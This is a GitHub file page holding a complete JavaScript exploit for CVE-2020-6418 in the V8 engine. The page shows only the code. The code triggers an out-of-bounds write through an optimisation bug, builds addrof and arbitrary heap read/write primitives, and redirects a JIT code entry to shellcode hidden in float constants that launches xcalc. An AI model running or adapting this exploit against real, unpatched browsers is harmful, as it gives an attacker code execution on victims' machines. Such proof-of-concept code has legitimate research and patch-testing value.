-
Notifications
You must be signed in to change notification settings - Fork 42
/
CVE-2020-6418-exploit.js
139 lines (107 loc) · 3.91 KB
/
CVE-2020-6418-exploit.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
// CVE-2020-6418
// Author: Daniel Toh Jing En (STAR Labs SG Pte. Ltd.)
ab = new ArrayBuffer(8);
f64 = new Float64Array(ab);
B64 = new BigInt64Array(ab);
function ftoi(f) { // float to int
f64[0] = f;
return B64[0];
}
function itof(i) { // int to float
B64[0] = i;
return f64[0];
}
function lower(i) { // lower 32 bits of int
return i&BigInt(0xffffffff);
}
function upper(i){ // upper 32 bits of int
return (i>>32n)&BigInt(0xffffffff);
}
function hex(i) {
// Return the hex string of a value
start = "";
content = i.toString(16);
return start + "0x" + content;
}
// Part 2a: Shellcode with Immediate Numbers
const foo = () =>
{
// execve("/usr/bin/xcalc", ["/usr/bin/xcalc"], ["DISPLAY=:0"])
return [1.9553820986592714e-246, 1.9557677050669863e-246, 1.97118242283721e-246, 1.9563405961237867e-246, 1.9560656634566922e-246, 1.9711824228871598e-246, 1.986669612134628e-246, 1.9712777999056378e-246, 1.9570673233493564e-246, 1.9950498189626253e-246, 1.9711832653349477e-246, 1.9710251545829015e-246, 1.9562870598986932e-246, 1.9560284264452913e-246, 1.9473970328478236e-246, 1.9535181816562593e-246, 5.6124209215264576e-232, 5.438699428135179e-232]
; }
// Trigger optimisation of function so the bytecode is stored in heap
// Done first so garbage collection does not affect later stages
for (let i = 0; i < 0x10000; i++) { foo(); }
// Part 0: Initial OOB write
function f(p) {
a.push(Reflect.construct(function(){}, arguments, p)?4.183559238858528e-216:0); //itof(0x1337133700010000)
}
let p = new Proxy(Object, {
get: () => {
a[0] = {};
oob_arr = Array(1);
oob_arr[0] = 1.1;
return Object.prototype;
}
});
function main(p) { return f(p); }
let a = Array(11);
a[0] = 1.1;
let oob_arr;
a.pop();
a.pop();
// Trigger optimisation of main (inlining)
for (let i = 0; i < 0x10000; i++) { main(function(){}); a.pop(); }
main(function(){});
main(p);
console.assert(oob_arr.length === 0x8000); // Achieved OOB
// Part 1: addrof, read write primitives
let vic_arr = new Array(128); // Victim float array
vic_arr[0] = 1.1;
let obj_arr = new Array(256); // Object array
obj_arr[0] = {};
function oob_read32(i){ // Read 32 bits at offset from oob_arr elements
i-=2;
if (i%2 == 0) return lower(ftoi(oob_arr[(i>>1)]));
else return upper(ftoi(oob_arr[(i>>1)]));
}
function oob_write32(i, x){ // Write 32 bits at offset from oob_arr elements
i-=2;
if (i%2 == 0) oob_arr[(i>>1)] = itof( (oob_read32(i^1)<<32n) + x);
else oob_arr[(i>>1)] = itof( (x<<32n) + oob_read32(i^1));
}
function addrof(o) { // Get heap address of object
obj_arr[0] = o;
vic_arr_mapptr = oob_read32(17);
obj_arr_mapptr = oob_read32(411);
oob_write32(411, vic_arr_mapptr);
let addr = obj_arr[0];
oob_write32(411, obj_arr_mapptr);
return lower(ftoi(addr));
}
function heap_read64(addr) { // Read 64 bits at arbitrary heap address
vic_arr_elemptr = oob_read32(19);
new_vic_arr_elemptr = (addr -0x8n + 1n);
oob_write32(19, new_vic_arr_elemptr);
let data = ftoi(vic_arr[0]);
oob_write32(19, vic_arr_elemptr);
return data;
}
function heap_write64(addr, val) { // Write 64 bits at arbitrary heap address
vic_arr_elemptr = oob_read32(19);
new_vic_arr_elemptr = (addr + -0x8n + 1n);
oob_write32(19, new_vic_arr_elemptr);
vic_arr[0] = itof(val);
oob_write32(19, vic_arr_elemptr);
}
// Part 2b: Shellcode with Immediate Numbers
foo_addr = addrof(foo);
code_container = lower(heap_read64(foo_addr + -1n + 0x18n));
code_entry_addr = code_container + -1n + 0x10n;
code_entry = heap_read64(code_entry_addr);
print("addrof foo = ", hex(foo_addr));
print("code container = ", hex(code_container));
print("code entry = ", hex(code_entry));
// Overwrite code entry to start of user-controlled immediates
heap_write64(code_entry_addr, code_entry + 0x66n);
foo(); // Executes user-controlled immediates as shellcode